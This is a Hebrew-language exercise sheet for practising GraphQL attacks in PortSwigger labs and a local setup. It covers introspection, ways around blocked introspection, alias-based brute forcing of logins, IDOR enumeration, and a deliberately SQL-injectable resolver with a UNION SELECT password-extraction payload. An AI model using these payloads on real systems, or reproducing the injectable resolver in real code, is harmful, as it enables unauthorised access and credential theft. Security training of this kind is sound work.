לדלג לתוכן

תקיפת GraphQL - תרגיל

תרגיל 1 - גילוי הסכמה עם Introspection

PortSwigger Lab: Accessing private GraphQL posts

משימות

  1. מצאו את ה-endpoint של GraphQL באפליקציה
  2. שלחו שאילתת introspection מלאה:
{
    __schema {
        queryType { name }
        mutationType { name }
        types {
            name
            kind
            fields {
                name
                type { name kind }
                args { name type { name } }
            }
        }
    }
}
  1. נתחו את הסכמה ומצאו שדות רגישים
  2. בנו שאילתה שמחלצת את המידע הרגיש
  3. השלימו את המעבדה

תרגיל 2 - עקיפת Introspection חסומה

PortSwigger Lab: Finding a hidden GraphQL endpoint

משימות

  1. גלו שה-endpoint של GraphQL קיים אבל introspection חסום
  2. נסו לעקוף את החסימה:
  3. שליחה ב-GET במקום POST
  4. שינוי שם השאילתה
  5. שימוש ב-__type במקום __schema
  6. השתמשו ב-field suggestions כדי לגלות שדות:
{ unknownField123 }
  1. בנו את הסכמה מתוך ההצעות
  2. חלצו את המידע הנדרש

תרגיל 3 - עקיפת הגנת Brute Force עם Aliases

PortSwigger Lab: Bypassing GraphQL brute force protections

משימות

  1. מצאו את מוטציית ההתחברות ב-GraphQL
  2. ודאו שיש הגבלת קצב (rate limiting)
  3. בנו שאילתה עם aliases לעקיפת ההגבלה:
mutation {
    attempt0: login(input: {username: "carlos", password: "123456"}) { token }
    attempt1: login(input: {username: "carlos", password: "password"}) { token }
    attempt2: login(input: {username: "carlos", password: "admin"}) { token }
}
  1. כתבו סקריפט שמייצר את השאילתה מקובץ סיסמאות
  2. מצאו את הסיסמה הנכונה והתחברו

תרגיל 4 - IDOR ב-GraphQL

משימות

  1. התחברו לאפליקציה ובצעו שאילתה לפרופיל שלכם
  2. שנו את ה-ID בשאילתה כדי לגשת לפרופילים אחרים:
query {
    user(id: 1) { username email role }
    user(id: 2) { username email role }
    user(id: 3) { username email role }
}
  1. מצאו משתמש admin
  2. בדקו האם יש מוטציות שמאפשרות לשנות את הפרופיל שלכם
  3. נסו לשנות את ה-role שלכם ל-admin

תרגיל 5 - הזרקה דרך GraphQL

משימות

  1. בסביבה מקומית, הקימו שרת GraphQL עם resolver פגיע:
const resolvers = {
    Query: {
        searchUsers: async (_, { term }) => {
            // פגיע ל-SQL Injection!
            const query = `SELECT * FROM users WHERE name LIKE '%${term}%'`;
            return await db.query(query);
        }
    }
};
  1. בנו שאילתת GraphQL שמכילה SQLi ב-variable:
query Search($term: String!) {
    searchUsers(term: $term) {
        id
        username
    }
}
{
    "term": "' UNION SELECT id, password FROM users -- "
}
  1. חלצו את טבלת המשתמשים

תרגיל 6 - כל מעבדות PortSwigger

השלימו את כל המעבדות של PortSwigger בנושא GraphQL:

  1. Accessing private GraphQL posts (Practitioner)
  2. Accidental exposure of private GraphQL fields (Practitioner)
  3. Finding a hidden GraphQL endpoint (Practitioner)
  4. Bypassing GraphQL brute force protections (Practitioner)

לכל מעבדה תעדו

  • את ה-endpoint שמצאתם
  • את הסכמה שגיליתם
  • את השאילתות שבניתם
  • את התוצאה הסופית

תרגיל 7 - שימוש בכלים

משימות

  1. התקינו את InQL ב-Burp Suite והשתמשו בו לסריקת API של GraphQL
  2. השתמשו ב-GraphQL Voyager לויזואליזציה של הסכמה
  3. הריצו את graphql-cop על יעד תרגול:
python graphql-cop.py -t http://target.com/graphql
  1. תעדו את הממצאים מכל כלי
  2. השוו בין הכלים - מה כל כלי מצא שהאחרים פספסו?

אתגר מסכם

תרחיש

מצאתם אפליקציה עם GraphQL API. בצעו את הפעולות הבאות:

  1. גלו את ה-endpoint של GraphQL (נסו /graphql, /api/graphql, /graphql/v1)
  2. בצעו introspection (או עקפו אם חסום)
  3. מפו את כל הסכמה - סוגים, שדות, מוטציות
  4. מצאו ונצלו IDOR
  5. מצאו ונצלו עקיפת הרשאות
  6. נסו batching attack
  7. בדקו האם יש הגבלת עומק לשאילתות
  8. כתבו דוח מסכם עם כל הממצאים